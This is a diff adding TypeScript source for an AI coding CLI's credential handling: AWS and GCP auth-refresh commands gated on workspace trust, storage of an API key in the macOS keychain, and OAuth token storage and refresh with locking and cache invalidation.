+  void getApiKeyFromApiKeyHelper(isNonInteractiveSession)
+}
+
+/** Default STS credentials are one hour. We manually manage invalidation, so not too worried about this being accurate. */
+const DEFAULT_AWS_STS_TTL = 60 * 60 * 1000
+
+/**
+ * Run awsAuthRefresh to perform interactive authentication (e.g., aws sso login)
+ * Streams output in real-time for user visibility
+ */
+async function runAwsAuthRefresh(): Promise<boolean> {
+  const awsAuthRefresh = getConfiguredAwsAuthRefresh()
+
+  if (!awsAuthRefresh) {
+    return false // Not configured, treat as success
+  }
+
+  // SECURITY: Check if awsAuthRefresh is from project settings
+  if (isAwsAuthRefreshFromProjectSettings()) {
+    // Check if trust has been established for this project
+    const hasTrust = checkHasTrustDialogAccepted()
+    if (!hasTrust && !getIsNonInteractiveSession()) {
+      const error = new Error(
+        `Security: awsAuthRefresh executed before workspace trust is confirmed. If you see this message, post in ${MACRO.FEEDBACK_CHANNEL}.`,
+      )
+      logAntError('awsAuthRefresh invoked before trust check', error)
+      logEvent('tengu_awsAuthRefresh_missing_trust', {})
+      return false
+    }
+  }
+
+  try {
+    logForDebugging('Fetching AWS caller identity for AWS auth refresh command')
+    await checkStsCallerIdentity()
+    logForDebugging(
+      'Fetched AWS caller identity, skipping AWS auth refresh command',
+    )
+    return false
+  } catch {
+    // only actually do the refresh if caller-identity calls
+    return refreshAwsAuth(awsAuthRefresh)
+  }
+}
+
+// Timeout for AWS auth refresh command (3 minutes).
+// Long enough for browser-based SSO flows, short enough to prevent indefinite hangs.
+const AWS_AUTH_REFRESH_TIMEOUT_MS = 3 * 60 * 1000
+
+export function refreshAwsAuth(awsAuthRefresh: string): Promise<boolean> {
+  logForDebugging('Running AWS auth refresh command')
+  // Start tracking authentication status
+  const authStatusManager = AwsAuthStatusManager.getInstance()
+  authStatusManager.startAuthentication()
+
+  return new Promise(resolve => {
+    const refreshProc = exec(awsAuthRefresh, {
+      timeout: AWS_AUTH_REFRESH_TIMEOUT_MS,
+    })
+    refreshProc.stdout!.on('data', data => {
+      const output = data.toString().trim()
+      if (output) {
+        // Add output to status manager for UI display
+        authStatusManager.addOutput(output)
+        // Also log for debugging
+        logForDebugging(output, { level: 'debug' })
+      }
+    })
+
+    refreshProc.stderr!.on('data', data => {
+      const error = data.toString().trim()
+      if (error) {
+        authStatusManager.setError(error)
+        logForDebugging(error, { level: 'error' })
+      }
+    })
+
+    refreshProc.on('close', (code, signal) => {
+      if (code === 0) {
+        logForDebugging('AWS auth refresh completed successfully')
+        authStatusManager.endAuthentication(true)
+        void resolve(true)
+      } else {
+        const timedOut = signal === 'SIGTERM'
+        const message = timedOut
+          ? chalk.red(
+              'AWS auth refresh timed out after 3 minutes. Run your auth command manually in a separate terminal.',
+            )
+          : chalk.red(
+              'Error running awsAuthRefresh (in settings or ~/.claude.json):',
+            )
+        // biome-ignore lint/suspicious/noConsole:: intentional console output
+        console.error(message)
+        authStatusManager.endAuthentication(false)
+        void resolve(false)
+      }
+    })
+  })
+}
+
+/**
+ * Run awsCredentialExport to get credentials and set environment variables
+ * Expects JSON output containing AWS credentials
+ */
+async function getAwsCredsFromCredentialExport(): Promise<{
+  accessKeyId: string
+  secretAccessKey: string
+  sessionToken: string
+} | null> {
+  const awsCredentialExport = getConfiguredAwsCredentialExport()
+
+  if (!awsCredentialExport) {
+    return null
+  }
+
+  // SECURITY: Check if awsCredentialExport is from project settings
+  if (isAwsCredentialExportFromProjectSettings()) {
+    // Check if trust has been established for this project
+    const hasTrust = checkHasTrustDialogAccepted()
+    if (!hasTrust && !getIsNonInteractiveSession()) {
+      const error = new Error(
+        `Security: awsCredentialExport executed before workspace trust is confirmed. If you see this message, post in ${MACRO.FEEDBACK_CHANNEL}.`,
+      )
+      logAntError('awsCredentialExport invoked before trust check', error)
+      logEvent('tengu_awsCredentialExport_missing_trust', {})
+      return null
+    }
+  }
+
+  try {
+    logForDebugging(
+      'Fetching AWS caller identity for credential export command',
+    )
+    await checkStsCallerIdentity()
+    logForDebugging(
+      'Fetched AWS caller identity, skipping AWS credential export command',
+    )
+    return null
+  } catch {
+    // only actually do the export if caller-identity calls
+    try {
+      logForDebugging('Running AWS credential export command')
+      const result = await execa(awsCredentialExport, {
+        shell: true,
+        reject: false,
+      })
+      if (result.exitCode !== 0 || !result.stdout) {
+        throw new Error('awsCredentialExport did not return a valid value')
+      }
+
+      // Parse the JSON output from aws sts commands
+      const awsOutput = jsonParse(result.stdout.trim())
+
+      if (!isValidAwsStsOutput(awsOutput)) {
+        throw new Error(
+          'awsCredentialExport did not return valid AWS STS output structure',
+        )
+      }
+
+      logForDebugging('AWS credentials retrieved from awsCredentialExport')
+      return {
+        accessKeyId: awsOutput.Credentials.AccessKeyId,
+        secretAccessKey: awsOutput.Credentials.SecretAccessKey,
+        sessionToken: awsOutput.Credentials.SessionToken,
+      }
+    } catch (e) {
+      const message = chalk.red(
+        'Error getting AWS credentials from awsCredentialExport (in settings or ~/.claude.json):',
+      )
+      if (e instanceof Error) {
+        // biome-ignore lint/suspicious/noConsole:: intentional console output
+        console.error(message, e.message)
+      } else {
+        // biome-ignore lint/suspicious/noConsole:: intentional console output
+        console.error(message, e)
+      }
+      return null
+    }
+  }
+}
+
+/**
+ * Refresh AWS authentication and get credentials with cache clearing
+ * This combines runAwsAuthRefresh, getAwsCredsFromCredentialExport, and clearAwsIniCache
+ * to ensure fresh credentials are always used
+ */
+export const refreshAndGetAwsCredentials = memoizeWithTTLAsync(
+  async (): Promise<{
+    accessKeyId: string
+    secretAccessKey: string
+    sessionToken: string
+  } | null> => {
+    // First run auth refresh if needed
+    const refreshed = await runAwsAuthRefresh()
+
+    // Get credentials from export
+    const credentials = await getAwsCredsFromCredentialExport()
+
+    // Clear AWS INI cache to ensure fresh credentials are used
+    if (refreshed || credentials) {
+      await clearAwsIniCache()
+    }
+
+    return credentials
+  },
+  DEFAULT_AWS_STS_TTL,
+)
+
+export function clearAwsCredentialsCache(): void {
+  refreshAndGetAwsCredentials.cache.clear()
+}
+
+/**
+ * Get the configured gcpAuthRefresh from settings
+ */
+function getConfiguredGcpAuthRefresh(): string | undefined {
+  const mergedSettings = getSettings_DEPRECATED() || {}
+  return mergedSettings.gcpAuthRefresh
+}
+
+/**
+ * Check if the configured gcpAuthRefresh comes from project settings
+ */
+export function isGcpAuthRefreshFromProjectSettings(): boolean {
+  const gcpAuthRefresh = getConfiguredGcpAuthRefresh()
+  if (!gcpAuthRefresh) {
+    return false
+  }
+
+  const projectSettings = getSettingsForSource('projectSettings')
+  const localSettings = getSettingsForSource('localSettings')
+  return (
+    projectSettings?.gcpAuthRefresh === gcpAuthRefresh ||
+    localSettings?.gcpAuthRefresh === gcpAuthRefresh
+  )
+}
+
+/** Short timeout for the GCP credentials probe. Without this, when no local
+ *  credential source exists (no ADC file, no env var), google-auth-library falls
+ *  through to the GCE metadata server which hangs ~12s outside GCP. */
+const GCP_CREDENTIALS_CHECK_TIMEOUT_MS = 5_000
+
+/**
+ * Check if GCP credentials are currently valid by attempting to get an access token.
+ * This uses the same authentication chain that the Vertex SDK uses.
+ */
+export async function checkGcpCredentialsValid(): Promise<boolean> {
+  try {
+    // Dynamically import to avoid loading google-auth-library unnecessarily
+    const { GoogleAuth } = await import('google-auth-library')
+    const auth = new GoogleAuth({
+      scopes: ['https://www.googleapis.com/auth/cloud-platform'],
+    })
+    const probe = (async () => {
+      const client = await auth.getClient()
+      await client.getAccessToken()
+    })()
+    const timeout = sleep(GCP_CREDENTIALS_CHECK_TIMEOUT_MS).then(() => {
+      throw new GcpCredentialsTimeoutError('GCP credentials check timed out')
+    })
+    await Promise.race([probe, timeout])
+    return true
+  } catch {
+    return false
+  }
+}
+
+/** Default GCP credential TTL - 1 hour to match typical ADC token lifetime */
+const DEFAULT_GCP_CREDENTIAL_TTL = 60 * 60 * 1000
+
+/**
+ * Run gcpAuthRefresh to perform interactive authentication (e.g., gcloud auth application-default login)
+ * Streams output in real-time for user visibility
+ */
+async function runGcpAuthRefresh(): Promise<boolean> {
+  const gcpAuthRefresh = getConfiguredGcpAuthRefresh()
+
+  if (!gcpAuthRefresh) {
+    return false // Not configured, treat as success
+  }
+
+  // SECURITY: Check if gcpAuthRefresh is from project settings
+  if (isGcpAuthRefreshFromProjectSettings()) {
+    // Check if trust has been established for this project
+    // Pass true to indicate this is a dangerous feature that requires trust
+    const hasTrust = checkHasTrustDialogAccepted()
+    if (!hasTrust && !getIsNonInteractiveSession()) {
+      const error = new Error(
+        `Security: gcpAuthRefresh executed before workspace trust is confirmed. If you see this message, post in ${MACRO.FEEDBACK_CHANNEL}.`,
+      )
+      logAntError('gcpAuthRefresh invoked before trust check', error)
+      logEvent('tengu_gcpAuthRefresh_missing_trust', {})
+      return false
+    }
+  }
+
+  try {
+    logForDebugging('Checking GCP credentials validity for auth refresh')
+    const isValid = await checkGcpCredentialsValid()
+    if (isValid) {
+      logForDebugging(
+        'GCP credentials are valid, skipping auth refresh command',
+      )
+      return false
+    }
+  } catch {
+    // Credentials check failed, proceed with refresh
+  }
+
+  return refreshGcpAuth(gcpAuthRefresh)
+}
+
+// Timeout for GCP auth refresh command (3 minutes).
+// Long enough for browser-based auth flows, short enough to prevent indefinite hangs.
+const GCP_AUTH_REFRESH_TIMEOUT_MS = 3 * 60 * 1000
+
+export function refreshGcpAuth(gcpAuthRefresh: string): Promise<boolean> {
+  logForDebugging('Running GCP auth refresh command')
+  // Start tracking authentication status. AwsAuthStatusManager is cloud-provider-agnostic
+  // despite the name — print.ts emits its updates as generic SDK 'auth_status' messages.
+  const authStatusManager = AwsAuthStatusManager.getInstance()
+  authStatusManager.startAuthentication()
+
+  return new Promise(resolve => {
+    const refreshProc = exec(gcpAuthRefresh, {
+      timeout: GCP_AUTH_REFRESH_TIMEOUT_MS,
+    })
+    refreshProc.stdout!.on('data', data => {
+      const output = data.toString().trim()
+      if (output) {
+        // Add output to status manager for UI display
+        authStatusManager.addOutput(output)
+        // Also log for debugging
+        logForDebugging(output, { level: 'debug' })
+      }
+    })
+
+    refreshProc.stderr!.on('data', data => {
+      const error = data.toString().trim()
+      if (error) {
+        authStatusManager.setError(error)
+        logForDebugging(error, { level: 'error' })
+      }
+    })
+
+    refreshProc.on('close', (code, signal) => {
+      if (code === 0) {
+        logForDebugging('GCP auth refresh completed successfully')
+        authStatusManager.endAuthentication(true)
+        void resolve(true)
+      } else {
+        const timedOut = signal === 'SIGTERM'
+        const message = timedOut
+          ? chalk.red(
+              'GCP auth refresh timed out after 3 minutes. Run your auth command manually in a separate terminal.',
+            )
+          : chalk.red(
+              'Error running gcpAuthRefresh (in settings or ~/.claude.json):',
+            )
+        // biome-ignore lint/suspicious/noConsole:: intentional console output
+        console.error(message)
+        authStatusManager.endAuthentication(false)
+        void resolve(false)
+      }
+    })
+  })
+}
+
+/**
+ * Refresh GCP authentication if needed.
+ * This function checks if credentials are valid and runs the refresh command if not.
+ * Memoized with TTL to avoid excessive refresh attempts.
+ */
+export const refreshGcpCredentialsIfNeeded = memoizeWithTTLAsync(
+  async (): Promise<boolean> => {
+    // Run auth refresh if needed
+    const refreshed = await runGcpAuthRefresh()
+    return refreshed
+  },
+  DEFAULT_GCP_CREDENTIAL_TTL,
+)
+
+export function clearGcpCredentialsCache(): void {
+  refreshGcpCredentialsIfNeeded.cache.clear()
+}
+
+/**
+ * Prefetches GCP credentials only if workspace trust has already been established.
+ * This allows us to start the potentially slow GCP commands early for trusted workspaces
+ * while maintaining security for untrusted ones.
+ *
+ * Returns void to prevent misuse - use refreshGcpCredentialsIfNeeded() to actually refresh.
+ */
+export function prefetchGcpCredentialsIfSafe(): void {
+  // Check if gcpAuthRefresh is configured
+  const gcpAuthRefresh = getConfiguredGcpAuthRefresh()
+
+  if (!gcpAuthRefresh) {
+    return
+  }
+
+  // Check if gcpAuthRefresh is from project settings
+  if (isGcpAuthRefreshFromProjectSettings()) {
+    // Only prefetch if trust has already been established
+    const hasTrust = checkHasTrustDialogAccepted()
+    if (!hasTrust && !getIsNonInteractiveSession()) {
+      // Don't prefetch - wait for trust to be established first
+      return
+    }
+  }
+
+  // Safe to prefetch - either not from project settings or trust already established
+  void refreshGcpCredentialsIfNeeded()
+}
+
+/**
+ * Prefetches AWS credentials only if workspace trust has already been established.
+ * This allows us to start the potentially slow AWS commands early for trusted workspaces
+ * while maintaining security for untrusted ones.
+ *
+ * Returns void to prevent misuse - use refreshAndGetAwsCredentials() to actually retrieve credentials.
+ */
+export function prefetchAwsCredentialsAndBedRockInfoIfSafe(): void {
+  // Check if either AWS command is configured
+  const awsAuthRefresh = getConfiguredAwsAuthRefresh()
+  const awsCredentialExport = getConfiguredAwsCredentialExport()
+
+  if (!awsAuthRefresh && !awsCredentialExport) {
+    return
+  }
+
+  // Check if either command is from project settings
+  if (
+    isAwsAuthRefreshFromProjectSettings() ||
+    isAwsCredentialExportFromProjectSettings()
+  ) {
+    // Only prefetch if trust has already been established
+    const hasTrust = checkHasTrustDialogAccepted()
+    if (!hasTrust && !getIsNonInteractiveSession()) {
+      // Don't prefetch - wait for trust to be established first
+      return
+    }
+  }
+
+  // Safe to prefetch - either not from project settings or trust already established
+  void refreshAndGetAwsCredentials()
+  getModelStrings()
+}
+
+/** @private Use {@link getAnthropicApiKey} or {@link getAnthropicApiKeyWithSource} */
+export const getApiKeyFromConfigOrMacOSKeychain = memoize(
+  (): { key: string; source: ApiKeySource } | null => {
+    if (isBareMode()) return null
+    // TODO: migrate to SecureStorage
+    if (process.platform === 'darwin') {
+      // keychainPrefetch.ts fires this read at main.tsx top-level in parallel
+      // with module imports. If it completed, use that instead of spawning a
+      // sync `security` subprocess here (~33ms).
+      const prefetch = getLegacyApiKeyPrefetchResult()
+      if (prefetch) {
+        if (prefetch.stdout) {
+          return { key: prefetch.stdout, source: '/login managed key' }
+        }
+        // Prefetch completed with no key — fall through to config, not keychain.
+      } else {
+        const storageServiceName = getMacOsKeychainStorageServiceName()
+        try {
+          const result = execSyncWithDefaults_DEPRECATED(
+            `security find-generic-password -a $USER -w -s "${storageServiceName}"`,
+          )
+          if (result) {
+            return { key: result, source: '/login managed key' }
+          }
+        } catch (e) {
+          logError(e)
+        }
+      }
+    }
+
+    const config = getGlobalConfig()
+    if (!config.primaryApiKey) {
+      return null
+    }
+
+    return { key: config.primaryApiKey, source: '/login managed key' }
+  },
+)
+
+function isValidApiKey(apiKey: string): boolean {
+  // Only allow alphanumeric characters, dashes, and underscores
+  return /^[a-zA-Z0-9-_]+$/.test(apiKey)
+}
+
+export async function saveApiKey(apiKey: string): Promise<void> {
+  if (!isValidApiKey(apiKey)) {
+    throw new Error(
+      'Invalid API key format. API key must contain only alphanumeric characters, dashes, and underscores.',
+    )
+  }
+
+  // Store as primary API key
+  await maybeRemoveApiKeyFromMacOSKeychain()
+  let savedToKeychain = false
+  if (process.platform === 'darwin') {
+    try {
+      // TODO: migrate to SecureStorage
+      const storageServiceName = getMacOsKeychainStorageServiceName()
+      const username = getUsername()
+
+      // Convert to hexadecimal to avoid any escaping issues
+      const hexValue = Buffer.from(apiKey, 'utf-8').toString('hex')
+
+      // Use security's interactive mode (-i) with -X (hexadecimal) option
+      // This ensures credentials never appear in process command-line arguments
+      // Process monitors only see "security -i", not the password
+      const command = `add-generic-password -U -a "${username}" -s "${storageServiceName}" -X "${hexValue}"\n`
+
+      await execa('security', ['-i'], {
+        input: command,
+        reject: false,
+      })
+
+      logEvent('tengu_api_key_saved_to_keychain', {})
+      savedToKeychain = true
+    } catch (e) {
+      logError(e)
+      logEvent('tengu_api_key_keychain_error', {
+        error: errorMessage(
+          e,
+        ) as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      })
+      logEvent('tengu_api_key_saved_to_config', {})
+    }
+  } else {
+    logEvent('tengu_api_key_saved_to_config', {})
+  }
+
+  const normalizedKey = normalizeApiKeyForConfig(apiKey)
+
+  // Save config with all updates
+  saveGlobalConfig(current => {
+    const approved = current.customApiKeyResponses?.approved ?? []
+    return {
+      ...current,
+      // Only save to config if keychain save failed or not on darwin
+      primaryApiKey: savedToKeychain ? current.primaryApiKey : apiKey,
+      customApiKeyResponses: {
+        ...current.customApiKeyResponses,
+        approved: approved.includes(normalizedKey)
+          ? approved
+          : [...approved, normalizedKey],
+        rejected: current.customApiKeyResponses?.rejected ?? [],
+      },
+    }
+  })
+
+  // Clear memo cache
+  getApiKeyFromConfigOrMacOSKeychain.cache.clear?.()
+  clearLegacyApiKeyPrefetch()
+}
+
+export function isCustomApiKeyApproved(apiKey: string): boolean {
+  const config = getGlobalConfig()
+  const normalizedKey = normalizeApiKeyForConfig(apiKey)
+  return (
+    config.customApiKeyResponses?.approved?.includes(normalizedKey) ?? false
+  )
+}
+
+export async function removeApiKey(): Promise<void> {
+  await maybeRemoveApiKeyFromMacOSKeychain()
+
+  // Also remove from config instead of returning early, for older clients
+  // that set keys before we supported keychain.
+  saveGlobalConfig(current => ({
+    ...current,
+    primaryApiKey: undefined,
+  }))
+
+  // Clear memo cache
+  getApiKeyFromConfigOrMacOSKeychain.cache.clear?.()
+  clearLegacyApiKeyPrefetch()
+}
+
+async function maybeRemoveApiKeyFromMacOSKeychain(): Promise<void> {
+  try {
+    await maybeRemoveApiKeyFromMacOSKeychainThrows()
+  } catch (e) {
+    logError(e)
+  }
+}
+
+// Function to store OAuth tokens in secure storage
+export function saveOAuthTokensIfNeeded(tokens: OAuthTokens): {
+  success: boolean
+  warning?: string
+} {
+  if (!shouldUseClaudeAIAuth(tokens.scopes)) {
+    logEvent('tengu_oauth_tokens_not_claude_ai', {})
+    return { success: true }
+  }
+
+  // Skip saving inference-only tokens (they come from env vars)
+  if (!tokens.refreshToken || !tokens.expiresAt) {
+    logEvent('tengu_oauth_tokens_inference_only', {})
+    return { success: true }
+  }
+
+  const secureStorage = getSecureStorage()
+  const storageBackend =
+    secureStorage.name as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS
+
+  try {
+    const storageData = secureStorage.read() || {}
+    const existingOauth = storageData.claudeAiOauth
+
+    storageData.claudeAiOauth = {
+      accessToken: tokens.accessToken,
+      refreshToken: tokens.refreshToken,
+      expiresAt: tokens.expiresAt,
+      scopes: tokens.scopes,
+      // Profile fetch in refreshOAuthToken swallows errors and returns null on
+      // transient failures (network, 5xx, rate limit). Don't clobber a valid
+      // stored subscription with null — fall back to the existing value.
+      subscriptionType:
+        tokens.subscriptionType ?? existingOauth?.subscriptionType ?? null,
+      rateLimitTier:
+        tokens.rateLimitTier ?? existingOauth?.rateLimitTier ?? null,
+    }
+
+    const updateStatus = secureStorage.update(storageData)
+
+    if (updateStatus.success) {
+      logEvent('tengu_oauth_tokens_saved', { storageBackend })
+    } else {
+      logEvent('tengu_oauth_tokens_save_failed', { storageBackend })
+    }
+
+    getClaudeAIOAuthTokens.cache?.clear?.()
+    clearBetasCaches()
+    clearToolSchemaCache()
+    return updateStatus
+  } catch (error) {
+    logError(error)
+    logEvent('tengu_oauth_tokens_save_exception', {
+      storageBackend,
+      error: errorMessage(
+        error,
+      ) as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    })
+    return { success: false, warning: 'Failed to save OAuth tokens' }
+  }
+}
+
+export const getClaudeAIOAuthTokens = memoize((): OAuthTokens | null => {
+  // --bare: API-key-only. No OAuth env tokens, no keychain, no credentials file.
+  if (isBareMode()) return null
+
+  // Check for force-set OAuth token from environment variable
+  if (process.env.CLAUDE_CODE_OAUTH_TOKEN) {
+    // Return an inference-only token (unknown refresh and expiry)
+    return {
+      accessToken: process.env.CLAUDE_CODE_OAUTH_TOKEN,
+      refreshToken: null,
+      expiresAt: null,
+      scopes: ['user:inference'],
+      subscriptionType: null,
+      rateLimitTier: null,
+    }
+  }
+
+  // Check for OAuth token from file descriptor
+  const oauthTokenFromFd = getOAuthTokenFromFileDescriptor()
+  if (oauthTokenFromFd) {
+    // Return an inference-only token (unknown refresh and expiry)
+    return {
+      accessToken: oauthTokenFromFd,
+      refreshToken: null,
+      expiresAt: null,
+      scopes: ['user:inference'],
+      subscriptionType: null,
+      rateLimitTier: null,
+    }
+  }
+
+  try {
+    const secureStorage = getSecureStorage()
+    const storageData = secureStorage.read()
+    const oauthData = storageData?.claudeAiOauth
+
+    if (!oauthData?.accessToken) {
+      return null
+    }
+
+    return oauthData
+  } catch (error) {
+    logError(error)
+    return null
+  }
+})
+
+/**
+ * Clears all OAuth token caches. Call this on 401 errors to ensure
+ * the next token read comes from secure storage, not stale in-memory caches.
+ * This handles the case where the local expiration check disagrees with the
+ * server (e.g., due to clock corrections after token was issued).
+ */
+export function clearOAuthTokenCache(): void {
+  getClaudeAIOAuthTokens.cache?.clear?.()
+  clearKeychainCache()
+}
+
+let lastCredentialsMtimeMs = 0
+
+// Cross-process staleness: another CC instance may write fresh tokens to
+// disk (refresh or /login), but this process's memoize caches forever.
+// Without this, terminal 1's /login fixes terminal 1; terminal 2's /login
+// then revokes terminal 1 server-side, and terminal 1's memoize never
+// re-reads — infinite /login regress (CC-1096, GH#24317).
+async function invalidateOAuthCacheIfDiskChanged(): Promise<void> {
+  try {
+    const { mtimeMs } = await stat(
+      join(getClaudeConfigHomeDir(), '.credentials.json'),
+    )
+    if (mtimeMs !== lastCredentialsMtimeMs) {
+      lastCredentialsMtimeMs = mtimeMs
+      clearOAuthTokenCache()
+    }
+  } catch {
+    // ENOENT — macOS keychain path (file deleted on migration). Clear only
+    // the memoize so it delegates to the keychain cache's 30s TTL instead
+    // of caching forever on top. `security find-generic-password` is
+    // ~15ms; bounded to once per 30s by the keychain cache.
+    getClaudeAIOAuthTokens.cache?.clear?.()
+  }
+}
+
+// In-flight dedup: when N claude.ai proxy connectors hit 401 with the same
+// token simultaneously (common at startup — #20930), only one should clear
+// caches and re-read the keychain. Without this, each call's clearOAuthTokenCache()
+// nukes readInFlight in macOsKeychainStorage and triggers a fresh spawn —
+// sync spawns stacked to 800ms+ of blocked render frames.
+const pending401Handlers = new Map<string, Promise<boolean>>()
+
+/**
+ * Handle a 401 "OAuth token has expired" error from the API.
+ *
+ * This function forces a token refresh when the server says the token is expired,
+ * even if our local expiration check disagrees (which can happen due to clock
+ * issues when the token was issued).
+ *
+ * Safety: We compare the failed token with what's in keychain. If another tab
+ * already refreshed (different token in keychain), we use that instead of
+ * refreshing again. Concurrent calls with the same failedAccessToken are
+ * deduplicated to a single keychain read.
+ *
+ * @param failedAccessToken - The access token that was rejected with 401
+ * @returns true if we now have a valid token, false otherwise
+ */
+export function handleOAuth401Error(
+  failedAccessToken: string,
+): Promise<boolean> {
+  const pending = pending401Handlers.get(failedAccessToken)
+  if (pending) return pending
+
+  const promise = handleOAuth401ErrorImpl(failedAccessToken).finally(() => {
+    pending401Handlers.delete(failedAccessToken)
+  })
+  pending401Handlers.set(failedAccessToken, promise)
+  return promise
+}
+
+async function handleOAuth401ErrorImpl(
+  failedAccessToken: string,
+): Promise<boolean> {
+  // Clear caches and re-read from keychain (async — sync read blocks ~100ms/call)
+  clearOAuthTokenCache()
+  const currentTokens = await getClaudeAIOAuthTokensAsync()
+
+  if (!currentTokens?.refreshToken) {
+    return false
+  }
+
+  // If keychain has a different token, another tab already refreshed - use it
+  if (currentTokens.accessToken !== failedAccessToken) {
+    logEvent('tengu_oauth_401_recovered_from_keychain', {})
+    return true
+  }
+
+  // Same token that failed - force refresh, bypassing local expiration check
+  return checkAndRefreshOAuthTokenIfNeeded(0, true)
+}
+
+/**
+ * Reads OAuth tokens asynchronously, avoiding blocking keychain reads.
+ * Delegates to the sync memoized version for env var / file descriptor tokens
+ * (which don't hit the keychain), and only uses async for storage reads.
+ */
+export async function getClaudeAIOAuthTokensAsync(): Promise<OAuthTokens | null> {
+  if (isBareMode()) return null
+
+  // Env var and FD tokens are sync and don't hit the keychain
+  if (
+    process.env.CLAUDE_CODE_OAUTH_TOKEN ||
+    getOAuthTokenFromFileDescriptor()
+  ) {
+    return getClaudeAIOAuthTokens()
+  }
+
+  try {
+    const secureStorage = getSecureStorage()
+    const storageData = await secureStorage.readAsync()
+    const oauthData = storageData?.claudeAiOauth
+    if (!oauthData?.accessToken) {
+      return null
+    }
+    return oauthData
+  } catch (error) {
+    logError(error)
+    return null
+  }
+}
+
+// In-flight promise for deduplicating concurrent calls
+let pendingRefreshCheck: Promise<boolean> | null = null
+
+export function checkAndRefreshOAuthTokenIfNeeded(
+  retryCount = 0,
+  force = false,
+): Promise<boolean> {
+  // Deduplicate concurrent non-retry, non-force calls
+  if (retryCount === 0 && !force) {
+    if (pendingRefreshCheck) {
+      return pendingRefreshCheck
+    }
+
+    const promise = checkAndRefreshOAuthTokenIfNeededImpl(retryCount, force)
+    pendingRefreshCheck = promise.finally(() => {
+      pendingRefreshCheck = null
+    })
+    return pendingRefreshCheck
+  }
+
+  return checkAndRefreshOAuthTokenIfNeededImpl(retryCount, force)
+}
+
+async function checkAndRefreshOAuthTokenIfNeededImpl(
+  retryCount: number,
+  force: boolean,
+): Promise<boolean> {
+  const MAX_RETRIES = 5
+
+  await invalidateOAuthCacheIfDiskChanged()
+
+  // First check if token is expired with cached value
+  // Skip this check if force=true (server already told us token is bad)
+  const tokens = getClaudeAIOAuthTokens()
+  if (!force) {
+    if (!tokens?.refreshToken || !isOAuthTokenExpired(tokens.expiresAt)) {
+      return false
+    }
+  }
+
+  if (!tokens?.refreshToken) {
+    return false
+  }
+
+  if (!shouldUseClaudeAIAuth(tokens.scopes)) {
+    return false
+  }
+
+  // Re-read tokens async to check if they're still expired
+  // Another process might have refreshed them
+  getClaudeAIOAuthTokens.cache?.clear?.()
+  clearKeychainCache()
+  const freshTokens = await getClaudeAIOAuthTokensAsync()
+  if (
+    !freshTokens?.refreshToken ||
+    !isOAuthTokenExpired(freshTokens.expiresAt)
+  ) {
+    return false
+  }
+
+  // Tokens are still expired, try to acquire lock and refresh
+  const claudeDir = getClaudeConfigHomeDir()
+  await mkdir(claudeDir, { recursive: true })
+
+  let release
+  try {
+    logEvent('tengu_oauth_token_refresh_lock_acquiring', {})
+    release = await lockfile.lock(claudeDir)
+    logEvent('tengu_oauth_token_refresh_lock_acquired', {})
+  } catch (err) {
+    if ((err as { code?: string }).code === 'ELOCKED') {
+      // Another process has the lock, let's retry if we haven't exceeded max retries
+      if (retryCount < MAX_RETRIES) {
+        logEvent('tengu_oauth_token_refresh_lock_retry', {
+          retryCount: retryCount + 1,
+        })
+        // Wait a bit before retrying
+        await sleep(1000 + Math.random() * 1000)
+        return checkAndRefreshOAuthTokenIfNeededImpl(retryCount + 1, force)
+      }
+      logEvent('tengu_oauth_token_refresh_lock_retry_limit_reached', {
+        maxRetries: MAX_RETRIES,
+      })
+      return false
+    }
+    logError(err)
+    logEvent('tengu_oauth_token_refresh_lock_error', {
+      error: errorMessage(
+        err,
+      ) as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    })
+    return false
+  }
+  try {
+    // Check one more time after acquiring lock
+    getClaudeAIOAuthTokens.cache?.clear?.()
+    clearKeychainCache()
+    const lockedTokens = await getClaudeAIOAuthTokensAsync()
+    if (
+      !lockedTokens?.refreshToken ||
+      !isOAuthTokenExpired(lockedTokens.expiresAt)
+    ) {
+      logEvent('tengu_oauth_token_refresh_race_resolved', {})
+      return false
+    }
+
+    logEvent('tengu_oauth_token_refresh_starting', {})
+    const refreshedTokens = await refreshOAuthToken(lockedTokens.refreshToken, {
+      // For Claude.ai subscribers, omit scopes so the default
+      // CLAUDE_AI_OAUTH_SCOPES applies — this allows scope expansion
+      // (e.g. adding user:file_upload) on refresh without re-login.
+      scopes: shouldUseClaudeAIAuth(lockedTokens.scopes)
+        ? undefined
+        : lockedTokens.scopes,
+    })
+    saveOAuthTokensIfNeeded(refreshedTokens)
+
+    // Clear the cache after refreshing token
+    getClaudeAIOAuthTokens.cache?.clear?.()
+    clearKeychainCache()
+    return true
+  } catch (error) {
+    logError(error)
+
+    getClaudeAIOAuthTokens.cache?.clear?.()
+    clearKeychainCache()
+    const currentTokens = await getClaudeAIOAuthTokensAsync()
+    if (currentTokens && !isOAuthTokenExpired(currentTokens.expiresAt)) {
+      logEvent('tengu_oauth_token_refresh_race_recovered', {})
+      return true
+    }
+
+    return false
+  } finally {
+    logEvent('tengu_oauth_token_refresh_lock_releasing', {})
+    await release()
+    logEvent('tengu_oauth_token_refresh_lock_released', {})
+  }
+}
+
+export function isClaudeAISubscriber(): boolean {
+  if (!isAnthropicAuthEnabled()) {
+    return false
+  }
+
+  return shouldUseClaudeAIAuth(getClaudeAIOAuthTokens()?.scopes)
+}
+
+/**
+ * Check if the current OAuth token has the user:profile scope.
+ *
+ * Real /login tokens always include this scope. Env-var and file-descriptor
+ * tokens (service keys) hardcode scopes to ['user:inference'] only. Use this
+ * to gate calls to profile-scoped endpoints so service key sessions don't
+ * generate 403 storms against /api/oauth/profile, bootstrap, etc.
+ */
+export function hasProfileScope(): boolean {
+  return (
+    getClaudeAIOAuthTokens()?.scopes?.includes(CLAUDE_AI_PROFILE_SCOPE) ?? false
+  )
+}
+
+export function is1PApiCustomer(): boolean {
+  // 1P API customers are users who are NOT:
+  // 1. Claude.ai subscribers (Max, Pro, Enterprise, Team)
+  // 2. Vertex AI users
+  // 3. AWS Bedrock users
+  // 4. Foundry users
+
+  // Exclude Vertex, Bedrock, and Foundry customers
+  if (
+    isEnvTruthy(process.env.CLAUDE_CODE_USE_BEDROCK) ||
+    isEnvTruthy(process.env.CLAUDE_CODE_USE_VERTEX) ||
+    isEnvTruthy(process.env.CLAUDE_CODE_USE_FOUNDRY)
+  ) {
+    return false
+  }
+
+  // Exclude Claude.ai subscribers
